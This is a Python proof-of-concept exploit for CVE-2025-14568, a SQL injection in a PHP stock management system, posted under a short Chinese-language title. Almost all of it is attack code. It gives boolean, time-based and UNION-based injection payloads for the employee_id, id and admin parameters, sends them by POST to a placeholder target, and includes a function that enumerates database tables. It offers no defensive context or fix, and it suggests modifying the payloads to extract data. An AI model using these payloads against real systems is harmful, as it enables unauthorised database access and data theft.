CVE-2025-14568 Stock-Management-System SQL注入漏洞

# CVE-2025-14568 SQL Injection PoC # Target: haxxorsid Stock-Management-System # File: model/User.php # Vulnerable Parameter: employee_id, id, admin import requests import sys from urllib.parse import urlencode TARGET_URL = "http://target-url/index.php" # Replace with actual target URL def test_sql_injection(): """Test for SQL injection vulnerability in User.php""" # Test payload for boolean-based blind SQL injection payloads = [ # True condition - should return normal response "1' AND 1=1 -- ", # False condition - should return different response "1' AND 1=2 -- ", # Time-based blind SQL injection "1'; SLEEP(5) -- ", # UNION-based injection to extract database version "1' UNION SELECT NULL,version(),NULL -- " ] vulnerable_params = ['employee_id', 'id', 'admin'] print("[*] Testing CVE-2025-14568 SQL Injection") print(f"[*] Target: {TARGET_URL}") print("=" * 50) for param in vulnerable_params: print(f"\n[*] Testing parameter: {param}") # Test basic injection for i, payload in enumerate(payloads): data = {param: payload} try: response = requests.post( TARGET_URL, data=data, timeout=10, verify=False ) print(f"[+] Payload {i+1}: {payload[:30]}...") print(f" Status: {response.status_code}") print(f" Length: {len(response.text)}") except requests.exceptions.Timeout: print(f"[!] Time-based injection confirmed - request timed out") except Exception as e: print(f"[!] Error: {str(e)}") print("\n[*] Testing complete") print("[*] If vulnerabilities exist, modify payloads to extract data") def extract_data(): """Extract data using UNION-based SQL injection""" # Database enumeration payload union_payload = "1' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database() -- " print("\n[*] Extracting database information...") data = {'id': union_payload} try: response = requests.post(TARGET_URL, data=data, timeout=10) print(f"[*] Response length: {len(response.text)}") # Parse response to extract table names # (Implementation depends on actual application response format) except Exception as e: print(f"[!] Error: {str(e)}") if __name__ == "__main__": test_sql_injection()